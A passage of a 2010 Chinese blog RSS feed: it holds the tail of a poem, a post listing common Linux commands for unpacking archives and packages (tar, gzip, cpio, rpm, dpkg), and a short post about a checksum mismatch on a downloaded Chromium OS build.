<p>我們讀不出</small></p>
<p><small>這些詩句</p>
<p>但我們聽的見</small></p>
<p><small>這裡面有隱隱的</p>
<p>憂鬱與啜泣。</small></p></blockquote>
</td>
</tr>
</tbody>
</table>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.qsdiy.net/2010/03/01/%e9%83%91%e6%84%81%e4%ba%88%e8%af%97%e9%9b%86/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>linux下常用的解压命令</title>
		<link>http://www.qsdiy.net/2010/02/28/linux-tar/</link>
		<comments>http://www.qsdiy.net/2010/02/28/linux-tar/#comments</comments>
		<pubDate>Sun, 28 Feb 2010 10:04:24 +0000</pubDate>
		<dc:creator>如一</dc:creator>
				<category><![CDATA[操作系统]]></category>
		<category><![CDATA[解压缩]]></category>

		<guid isPermaLink="false">http://www.qsdiy.net/?p=854</guid>
		<description><![CDATA[1.以.a为扩展名的文件:
#tar xv file.a
2.以.z为扩展名的 文件:
#uncompress file.Z
3.以.gz为扩展名的文件:
#gunzip  file.gz
4.以.bz2为扩展名的文件:
#bunzip2 file.bz2
5. 以.tar.Z为扩展名的文件: 
#tar xvZf file.tar.Z
或 #compress -dc  file.tar.Z &#124; tar xvf
6.以.tar.gz/.tgz为扩展名的文件:
#tar  xvzf file.tar.gz
或 gzip -dc file.tar.gz &#124; tar xvf -
7. 以.tar.bz2为扩展名的文件:
#tar xvIf file.tar.bz2
或 bzip2 -dc  file.tar.bz2 &#124; xvf &#8211; 
8.以.cpio.gz/.cgz为扩展名的文件:
#gzip  -dc file.cgz &#124; cpio -div
9.以.cpio/cpio为扩展名的文件: 
#cpio  -div file.cpio
或cpio -divc file.cpio
10.以.rpm为扩展名的文件安装:
#rpm -i file.rpm
11.以.rpm为扩展名的文件解压缩：
#rpm2cpio file.rpm [...]]]></description>
			<content:encoded><![CDATA[<p><strong>1.以.a为扩展名的文件:<br />
</strong>#tar xv file.a<br />
<strong>2.以.z为扩展名的 文件:<br />
</strong>#uncompress file.Z<br />
<strong>3.以.gz为扩展名的文件:</strong><br />
#gunzip  file.gz<br />
<strong>4.以.bz2为扩展名的文件:</strong><br />
#bunzip2 file.bz2<br />
<strong>5. 以.tar.Z为扩展名的文件: </strong><br />
#tar xvZf file.tar.Z<br />
或 #compress -dc  file.tar.Z | tar xvf<br />
<strong>6.以.tar.gz/.tgz为扩展名的文件:<br />
</strong>#tar  xvzf file.tar.gz<br />
或 gzip -dc file.tar.gz | tar xvf -<br />
<strong>7. 以.tar.bz2为扩展名的文件:</strong><br />
#tar xvIf file.tar.bz2<br />
或 bzip2 -dc  file.tar.bz2 | xvf &#8211; <span id="more-854"></span><br />
<strong>8.以.cpio.gz/.cgz为扩展名的文件:</strong><br />
#gzip  -dc file.cgz | cpio -div<br />
<strong>9.以.cpio/cpio为扩展名的文件: </strong><br />
#cpio  -div file.cpio<br />
或cpio -divc file.cpio<br />
<strong>10.以.rpm为扩展名的文件安装:</strong><br />
#rpm -i file.rpm<br />
<strong>11.以.rpm为扩展名的文件解压缩：</strong><br />
#rpm2cpio file.rpm | cpio -div<br />
<strong>12.以.deb为扩展名的文件安装：</strong><br />
#dpkg -i file.deb<br />
<strong>13.以.deb为扩展名的文件解压缩:<br />
</strong>#dpkg-deb  &#8211;fsys-tarfile file.deb | tar xvf &#8211; ar p<br />
file.deb data.tar.gz | tar  xvzf -<br />
<strong>14.以.zip为扩展名的文件:</strong><br />
#unzip file.zip<br />
在linux下 解压Winzip格式的文件<br />
要是装了jdk的话，可以用jar命令；还可以使用unzip命令。<br />
直接解压.tar.gz文件<br />
xxxx.tar.gz文件使用tar带zxvf参数，可以一次解压开。XXXX为文件名。 例如：<br />
$tar zxvf  xxxx.tar.gz 各种压缩文件的解压（安装方法）</p>
<p>文件扩展名 解压（安装方法）</p>
<p>.a ar xv  file.a<br />
.Z uncompress file.Z<br />
.gz gunzip file.gz<br />
.bz2 bunzip2  file.bz2<br />
.tar.Z tar xvZf file.tar.Z<br />
compress -dc file.tar.Z |  tar xvf -<br />
.tar.gz/.tgz tar xvzf file.tar.gz<br />
gzip -dc file.tar.gz  | tar xvf -<br />
.tar.bz2 tar xvIf file.tar.bz2<br />
bzip2 -dc  file.tar.bz2 | xvf -<br />
.cpio.gz/.cgz gzip -dc file.cgz | cpio -div<br />
.cpio/cpio  cpio -div file.cpio<br />
cpio -divc file.cpio<br />
.rpm/install rpm -i  file.rpm<br />
.rpm/extract rpm2cpio file.rpm | cpio -div<br />
.deb/install  dpkg -i file.deb<br />
.deb/exrtact dpkg-deb &#8211;fsys-tarfile file.deb |  tar xvf -<br />
ar p file.deb data.tar.gz | tar xvzf -<br />
.zip unzip  file.zip</p>
<p>bzip2 -d myfile.tar.bz2 | tar xvf</p>
<p>tar xvfz  myfile.tar.bz2</p>
<p>x 是解压<br />
v 是复杂输出<br />
f 是指定文件<br />
z gz格式</p>
<p>gzip<br />
gzip[选项]要压缩（或解压缩）的文件名<br />
-c将输出写到标准输出上，并保留原有文件。<br />
-d将压缩文件压缩。<br />
-l 对每个压缩文件，显示下列字段：压缩文件的大小，未压缩文件的大小、压缩比、未压缩文件的名字<br />
-r递归式地查找指定目录并压缩或压缩其中的所有 文件。<br />
-t测试压缩文件是正完整。<br />
-v对每一个压缩和解压缩的文件，显示其文件名和压缩比。<br />
-num-用指定的数字调整压 缩的速度。<br />
举例：<br />
把/usr目录并包括它的子目录在内的全部文件做一备份，备份文件名为usr.tar<br />
tar cvf  usr.tar /home<br />
把/usr 目录并包括它的子目录在内的全部文件做一备份并进行压缩，备份文件名是usr.tar.gz<br />
tar  czvf usr.tar.gz /usr<br />
压缩一组文件，文件的后缀为tar.gz<br />
#tar cvf back.tar  /back/<br />
#gzip -q back.tar<br />
or<br />
#tar cvfz back.tar.gz /back/<br />
释 放一个后缀为tar.gz的文件。<br />
#tar zxvf back.tar.gz<br />
#gzip back.tar.gz<br />
#tar  xvf back.tar</p>
]]></content:encoded>
			<wfw:commentRss>http://www.qsdiy.net/2010/02/28/linux-tar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>hexxeh的Chromium OS</title>
		<link>http://www.qsdiy.net/2010/02/25/hexxeh-chromium-os/</link>
		<comments>http://www.qsdiy.net/2010/02/25/hexxeh-chromium-os/#comments</comments>
		<pubDate>Thu, 25 Feb 2010 13:19:59 +0000</pubDate>
		<dc:creator>如一</dc:creator>
				<category><![CDATA[chrome-os]]></category>
		<category><![CDATA[chromium]]></category>

		<guid isPermaLink="false">http://www.qsdiy.net/?p=850</guid>
		<description><![CDATA[chromium已经发布很久了，可是一直没找到一个好一点的版本试试，今天终于想下载个hexxeh的chromium试试，没想到问题又来了！]]></description>
			<content:encoded><![CDATA[<p>chromium已经发布很久了，可是一直没找到一个好一点的版本试试，今天终于想下载个<a href="http://chromeos.hexxeh.net/" target="_blank">hexxeh的chromium</a>试试，没想到问题又来了！我计算出来的hash值和hexxeh给出的不一样！看图吧！hexxeh给了两个版本，一个是装在usb里的，一个是装在虚拟机里，虚拟机里的这个hash还好，是一样的，只有USB版本的不一样！郁闷！对于Google账户的安全我是很在意的，以前从没校验过软件的hash值！</p>
<p><a href="http://www.qsdiy.net/wp-content/uploads/2010/02/chromeos-hash.jpg"><img class="aligncenter size-medium wp-image-852" title="chromeos hash" src="http://www.qsdiy.net/wp-content/uploads/2010/02/chromeos-hash-300x187.jpg" alt="chromeos hash" width="300" height="187" /></a><a href="http://www.qsdiy.net/wp-content/uploads/2010/02/fastsum.jpg"><img class="aligncenter size-medium wp-image-851" title="fastsum" src="http://www.qsdiy.net/wp-content/uploads/2010/02/fastsum-300x146.jpg" alt="fastsum" width="300" height="146" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.qsdiy.net/2010/02/25/hexxeh-chromium-os/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
